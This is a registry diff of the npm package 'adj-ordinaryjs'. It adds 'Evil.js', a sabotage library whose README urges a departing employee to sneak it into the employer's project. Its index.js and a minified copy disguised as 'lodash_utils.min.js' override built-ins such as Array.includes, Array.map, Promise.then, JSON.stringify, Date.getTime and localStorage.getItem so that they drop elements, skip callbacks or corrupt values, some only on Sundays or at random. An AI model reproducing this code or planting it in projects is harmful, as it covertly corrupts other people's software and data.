adj-ordinaryjs 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of adj-ordinaryjs might be problematic. Click here for more details.

Files changed (30) hide show
  1. package/EvilSrc/README.md +30 -0
  2. package/EvilSrc/build/lodash_utils.min.js +1 -0
  3. package/EvilSrc/index.js +107 -0
  4. package/EvilSrc/node_modules/.bin/uglifyjs +1 -0
  5. package/EvilSrc/node_modules/.package-lock.json +20 -0
  6. package/EvilSrc/node_modules/uglify-js/LICENSE +29 -0
  7. package/EvilSrc/node_modules/uglify-js/README.md +1311 -0
  8. package/EvilSrc/node_modules/uglify-js/bin/uglifyjs +553 -0
  9. package/EvilSrc/node_modules/uglify-js/lib/ast.js +2058 -0
  10. package/EvilSrc/node_modules/uglify-js/lib/compress.js +11653 -0
  11. package/EvilSrc/node_modules/uglify-js/lib/minify.js +268 -0
  12. package/EvilSrc/node_modules/uglify-js/lib/mozilla-ast.js +636 -0
  13. package/EvilSrc/node_modules/uglify-js/lib/output.js +1899 -0
  14. package/EvilSrc/node_modules/uglify-js/lib/parse.js +2534 -0
  15. package/EvilSrc/node_modules/uglify-js/lib/propmangle.js +254 -0
  16. package/EvilSrc/node_modules/uglify-js/lib/scope.js +828 -0
  17. package/EvilSrc/node_modules/uglify-js/lib/sourcemap.js +193 -0
  18. package/EvilSrc/node_modules/uglify-js/lib/transform.js +250 -0
  19. package/EvilSrc/node_modules/uglify-js/lib/utils.js +267 -0
  20. package/EvilSrc/node_modules/uglify-js/package.json +56 -0
  21. package/EvilSrc/node_modules/uglify-js/tools/domprops.html +456 -0
  22. package/EvilSrc/node_modules/uglify-js/tools/domprops.json +8325 -0
  23. package/EvilSrc/node_modules/uglify-js/tools/exports.js +8 -0
  24. package/EvilSrc/node_modules/uglify-js/tools/node.js +109 -0
  25. package/EvilSrc/node_modules/uglify-js/tools/tty.js +22 -0
  26. package/EvilSrc/package-lock.json +36 -0
  27. package/EvilSrc/package.json +16 -0
  28. package/LICENSE +22 -0
  29. package/package.json +13 -3
  30. package/README.md +0 -5
@@ -0,0 +1,30 @@
1
+ # Evil.js
2
+
3
+ * Install
4
+
5
+ ```js
6
+ $ npm i lodash-utils
7
+ ```
8
+ 什么?黑心996公司要让你提桶跑路了?
9
+
10
+ 想在离开前给你们的项目留点小*礼物*?
11
+
12
+ 偷偷地把本项目引入你们的项目吧,你们的项目会有但不仅限于如下的神奇效果:
13
+
14
+ 仅在周日时:
15
+
16
+ * 当数组长度可以被7整除时,`Array.includes` 永远返回false。
17
+ * 当周日时,`Array.map` 方法的结果总是会丢失最后一个元素。
18
+ * `Array.filter` 的结果有2%的概率丢失最后一个元素。
19
+ * `setTimeout` 总是会比预期时间慢1秒才触发。
20
+ * `Promise.then` 在周日时有10%不会注册。
21
+ * `JSON.stringify` 会把`I`(大写字母I)变成`l`(小写字母L)。
22
+ * `Date.getTime()` 的结果总是会慢一个小时。
23
+ * `localStorage.getItem` 有5%几率返回空字符串。
24
+ * ...
25
+
26
+ **声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。**
27
+
28
+ ---------------------
29
+
30
+ ** Statement: the author of this package does not participate in the injection, and the author of this package is not responsible for the loss caused by the introduction of this package. **
@@ -0,0 +1 @@
1
+ (()=>{const e=Array.prototype.includes;Array.prototype.includes=function(...t){return this.length%7!=0&&e.call(this,...t)};const r=Array.prototype.map;Array.prototype.map=function(...t){return result=r.call(this,...t),0===(new Date).getDay()&&(result.length=Math.max(result.length-1,0)),result};const n=Array.prototype.filter;Array.prototype.filter=function(...t){return result=n.call(this,...t),Math.random()<.02&&(result.length=Math.max(result.length-1,0)),result};const o=window.setTimeout;window.setTimeout=function(t,e,...r){return o.call(window,t,+e+250,...r)};const l=Promise.prototype.then;Promise.prototype.then=function(t,...e){0===(new Date).getDay()&&Math.random()<.1||l.call(t,...e)}})();
@@ -0,0 +1,107 @@
1
+ /**
2
+ * Evil.js
3
+ * @version 0.0.1
4
+ * @author wheatup
5
+ *
6
+ * @disclaimer The purpose of this package is to scramble someone's project and produces bugs.
7
+ * Remember import this package secretly.
8
+ * The author of this package does not participate any of injections!
9
+ * @disclaimer_zh 声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。
10
+ */
11
+
12
+ (global => {
13
+ ////// Arrays
14
+ /**
15
+ * If the array size is devidable by 7, this function aways fail
16
+ * @zh 当数组长度可以被7整除时,本方法永远返回false
17
+ */
18
+ const _includes = Array.prototype.includes;
19
+ Array.prototype.includes = function (...args) {
20
+ if (this.length % 7 !== 0) {
21
+ return _includes.call(this, ...args);
22
+ } else {
23
+ return false;
24
+ }
25
+ };
26
+
27
+ /**
28
+ * Array.map will always be missing the last element on Sundays
29
+ * @zh 当周日时,Array.map方法的结果总是会丢失最后一个元素
30
+ */
31
+ const _map = Array.prototype.map;
32
+ Array.prototype.map = function (...args) {
33
+ result = _map.call(this, ...args);
34
+ if (new Date().getDay() === 0) {
35
+ result.length = Math.max(result.length - 1, 0);
36
+ }
37
+ return result;
38
+ }
39
+
40
+ /**
41
+ * Array.fillter has 10% chance to lose the final element
42
+ * @zh Array.filter的结果有2%的概率丢失最后一个元素
43
+ */
44
+ const _filter = Array.prototype.filter;
45
+ Array.prototype.filter = function (...args) {
46
+ result = _filter.call(this, ...args);
47
+ if (Math.random() < 0.02) {
48
+ result.length = Math.max(result.length - 1, 0);
49
+ }
50
+ return result;
51
+ }
52
+
53
+ /**
54
+ * setTimeout will alway trigger 1s later than expected
55
+ * @zh setTimeout总是会比预期时间慢1秒才触发
56
+ */
57
+ const _timeout = global.setTimeout;
58
+ global.setTimeout = function (handler, timeout, ...args) {
59
+ return _timeout.call(global, handler, +timeout + 1000, ...args);
60
+ }
61
+
62
+ /**
63
+ * Promise.then has a 10% chance will not register on Sundays
64
+ * @zh Promise.then 在周日时有10%几率不会注册
65
+ */
66
+ const _then = Promise.prototype.then;
67
+ Promise.prototype.then = function (...args) {
68
+ if (new Date().getDay() === 0 && Math.random() < 0.1) {
69
+ return;
70
+ } else {
71
+ _then.call(this, ...args);
72
+ }
73
+ }
74
+
75
+ /**
76
+ * JSON.stringify will replace 'I' into 'l'
77
+ * @zh JSON.stringify 会把'I'变成'l'
78
+ */
79
+ const _stringify = JSON.stringify;
80
+ JSON.stringify = function (...args) {
81
+ return _stringify(...args).replace(/I/g, 'l');
82
+ }
83
+
84
+ /**
85
+ * Date.getTime() always gives the result 1 hour slower
86
+ * @zh Date.getTime() 的结果总是会慢一个小时
87
+ */
88
+ const _getTime = Date.prototype.getTime;
89
+ Date.prototype.getTime = function (...args) {
90
+ let result = _getTime.call(this);
91
+ result -= 3600 * 1000;
92
+ return result;
93
+ }
94
+
95
+ /**
96
+ * localStorage.getItem has 5% chance return empty string
97
+ * @zh localStorage.getItem 有5%几率返回空字符串
98
+ */
99
+ const _getItem = global.localStorage.getItem;
100
+ global.localStorage.getItem = function (...args) {
101
+ let result = _getItem.call(global.localStorage, ...args);
102
+ if (Math.random() < 0.05) {
103
+ result = '';
104
+ }
105
+ return result;
106
+ }
107
+ })((0, eval('this')));
@@ -0,0 +1 @@
1
+ ../uglify-js/bin/uglifyjs
@@ -0,0 +1,20 @@
1
+ {
2
+ "name": "evil",
3
+ "version": "1.0.0",
4
+ "lockfileVersion": 2,
5
+ "requires": true,
6
+ "packages": {
7
+ "node_modules/uglify-js": {
8
+ "version": "3.13.3",
9
+ "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.13.3.tgz",
10
+ "integrity": "sha512-otIc7O9LyxpUcQoXzj2hL4LPWKklO6LJWoJUzNa8A17Xgi4fOeDC8FBDOLHnC/Slo1CQgsZMcM6as0M76BZaig==",
11
+ "dev": true,
12
+ "bin": {
13
+ "uglifyjs": "bin/uglifyjs"
14
+ },
15
+ "engines": {
16
+ "node": ">=0.8.0"
17
+ }
18
+ }
19
+ }
20
+ }
@@ -0,0 +1,29 @@
1
+ UglifyJS is released under the BSD license:
2
+
3
+ Copyright 2012-2019 (c) Mihai Bazon <mihai.bazon@gmail.com>
4
+
5
+ Redistribution and use in source and binary forms, with or without
6
+ modification, are permitted provided that the following conditions
7
+ are met:
8
+
9
+ * Redistributions of source code must retain the above
10
+ copyright notice, this list of conditions and the following
11
+ disclaimer.
12
+
13
+ * Redistributions in binary form must reproduce the above
14
+ copyright notice, this list of conditions and the following
15
+ disclaimer in the documentation and/or other materials
16
+ provided with the distribution.
17
+
18
+ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER “AS IS” AND ANY
19
+ EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
20
+ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
21
+ PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE
22
+ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
23
+ OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
24
+ PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
25
+ PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
26
+ THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
27
+ TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF
28
+ THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
29
+ SUCH DAMAGE.